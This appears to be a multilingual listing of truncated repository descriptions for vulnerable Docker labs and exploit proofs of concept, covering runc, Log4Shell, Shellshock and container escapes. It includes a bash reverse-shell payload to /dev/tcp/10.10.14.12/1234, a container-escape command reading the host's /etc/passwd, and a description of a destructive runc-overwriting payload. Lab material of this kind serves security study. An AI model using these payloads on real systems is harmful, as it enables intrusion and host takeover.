android-kernel-exploitation

Exploitation du noyau Android Objectif L'objectif de cet atelier est de se familiariser avec l'analyse des vulnérabilités du noyau et l'exploitation sur la plateforme Android. Utilisation Clonez le dépôt git clone https://github.com/cloudfuzz/android-kernel-exploitation /workshop URL des pages...

docker-confluence-patched

docker-confluence-patched مصحح كونفلوينس 7.12.2 CVE-2021-26084...

CVE-2026-73519-WolfStack-PoC

CVE-2026-73519 — Secret de cluster codé en dur de WolfStack → RCE sans authentification PoC pour un secret d'authentification par défaut codé en dur dans WolfStack qui permet à un attaquant distant non authentifié d'exécuter des commandes arbitraires en tant que root dans n'importe quel conteneur...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 الاستخدام : الجهاز ضعيف تجاه CVE-2019-5736، اتبع الخطوات في استغلال Runc CVE-2019-5736. قم بتنزيل الملف main.go، وغيّر الحمولة payload في الملف إلى: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" بعد ذلك، قم بتشغيل: go build main.go استضف...

docker-log4shell

docker-log4shell تطبيق Go بسيط / صورة Docker للتجربة مع ثغرة CVE-2021-44228. يستضيف خادم ملفات بسيط وخادم ldap يوفر أي كلاسات مستضافة في خادم الملفات: ldap://ip:1389/Hello - http://ip:8080/Hello.class docker build -t log4shell . docker run -it -v "path-to-classes:/files" -p 1389:1389 -p 8080:8080...

asn-search

asn-search This tool will dump the ASN information using Hurricane Electric This tool runs on Docker, and you can either use an image I have already created: docker run -it --cap-add=SYSADMIN tuxotron/asn-search Or you can build your own: docker build -t asn-search . docker run -it...

CVE-2026-71217-PoC

Introduction Une démonstration extrêmement vibe-coded de CVE-2026-71217 - Testée contre iperf3 3.16 Démo reelix@reelix-cachy  /CVE-2026-71217  docker container ls -la CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 50d4673a0b27 iperf3:3.16-vuln "iperf3 -s" 41 minutes ago Exited 139 3...

CVE-2026-20896-Gitea-Authentication-Bypass

CVE-2026-20896 - Contournement d'authentification Gitea ≤1.26.2 1. Qu'est-ce que Gitea ? Gitea est une plateforme d'hébergement Git open-source et légère qui permet aux organisations et aux développeurs de gérer des dépôts de code source, de suivre des problèmes, de réviser des modifications et d...

cve-2020-14343-lab

CVE-2020-14343 – PyYAML Unsafe YAML Loading Lab 1. Project Overview This project demonstrates CVE-2020-14343 in a controlled and isolated Docker environment. The lab contains two environments: A vulnerable environment using PyYAML 5.3.1 A patched environment using PyYAML 5.4 and yaml.safeload The...

CVE-2018-16167

ترتيب التثبيت والتشغيل 0. تثبيت LogonTracer قم بتنزيل الإصدار 1.2.0 من LogonTracer الذي تم اكتشاف الثغرة فيه من Docker Hub. $docker pull jpcertcc/docker-logontracer:v1.2.0 1. تشغيل LogonTracer قم بتشغيله في حاوية باستخدام الأمر التالي: $docker run \ --detach \ --publish=7474:7474...

CVE-2017-15715

CVE-2017-15715 docker push whispchan1830/cve-2017-15715...

CVE-2024-21626

CVE-2024-21626 الاستغلال دليل العمل docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm المهم وضع -w /proc/self/fd/8\ الوصول إلى نظام ملفات المضيف باستخدام cat ../../../../../../../../../etc/passwd داخل الحاوية الاستغلال الرابط الرمزي 1. docker run --name cve-2024-21626...

CVE-2026-5817-PoC

CVE-2026-5817: Docker Model Runner — RCE / évasion du conteneur vers l'hôte Tout conteneur sur un hôte Docker Desktop 4.40.0 à 4.67.x peut exécuter du code sur l'hôte avec deux requêtes HTTP. Aucun montage du socket, aucun --privileged, aucune capacité. Comment Chaque conteneur peut joindre Model...

log4shell-exploitation-lab

Laboratoire d'exploitation Log4Shell CVE-2021-44228 Reproduction de la vulnérabilité Log4Shell de bout en bout dans un environnement de laboratoire isolé, de l'exploitation initiale jusqu'à un rapport de remédiation complet. Réalisé dans le cadre d'un travail de master en binôme avec Aditya...

shellshock-victim-host

shellshock-victim-host حاوية دوكر قابلة للاستغلال بثغرة Shellshock - CVE-2014-6271 التشغيل podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim ملاحظة: يمكن البناء باستخدام دوكر أيضًا. سيتم نشر التطبيق القابل للاستغلال على: http://localhost:8080/victim.cgi - نقطة الوصول...

docker_escape_pwn

الهروب من Docker باستخدام CVE-2017-1000112 وCVE-2017-18344. بما في ذلك: الحصول على صلاحيات الجذر الحصول على جميع capabilities استعادة namespace استعادة نظام الملفات تجاوز قيود cgroup تجاوز seccomp...

SharkTooth

SharkTooth In Development SharkTooth is a port scanner with TCP and UDP support. Suitable for basic network auditing and training. What does “In Development” mean: New features are being added while existing ones are refactored or removed. New features: SYN-Scan, sniffer Manual Packet Assembly:...

vinieger-CVE-2025-48384-Dockerfile

vinieger-CVE-2025-48384-Dockerfile توفر هذه الصورة Dockerfile لإثبات المفهوم PoC لـ CVE-2025-48384، المرتبطة بـ https://github.com/vinieger/CVE-2025-48384، بحيث يمكن اختبارها داخل مجموعة Kubernetes. نشره على GKE: بناء ونشر إلى سجل GCP: غيّر your registry path IMAGE="/alpine-cve-2025-48384:latest"...

CVE-2019-5736

الاستخدام عدّل HOST داخل payload.c، ثم اجمعه باستخدام make. شغّل nc ونفّذ pwn.sh داخل الحاوية. ملاحظات هذا الاستغلال تدميري: سيستبدل ثنائي /usr/bin/docker-runc على المضيف بالحمولة. كما سيستبدل /bin/sh داخل الحاوية. اختُبر فقط على دبيان 9. لم تُبذل أي محاولات لجعله مستقرًا أو موثوقًا، فقد اختُبر ف...

Vulnerable-Lab-NextJS-CVE-2025-29927

تطبيق Hello World باستخدام Next.js و Docker تطبيق Hello World بسيط باستخدام Next.js 12.2 و Docker. المتطلبات الأساسية Docker بناء التطبيق وتشغيله 1. قم ببناء صورة Docker: docker build -t nextjs-docker-hello . 2. قم بتشغيل الحاوية: docker run -p 3000:3000 nextjs-docker-hello 3. افتح متصفحك وقم...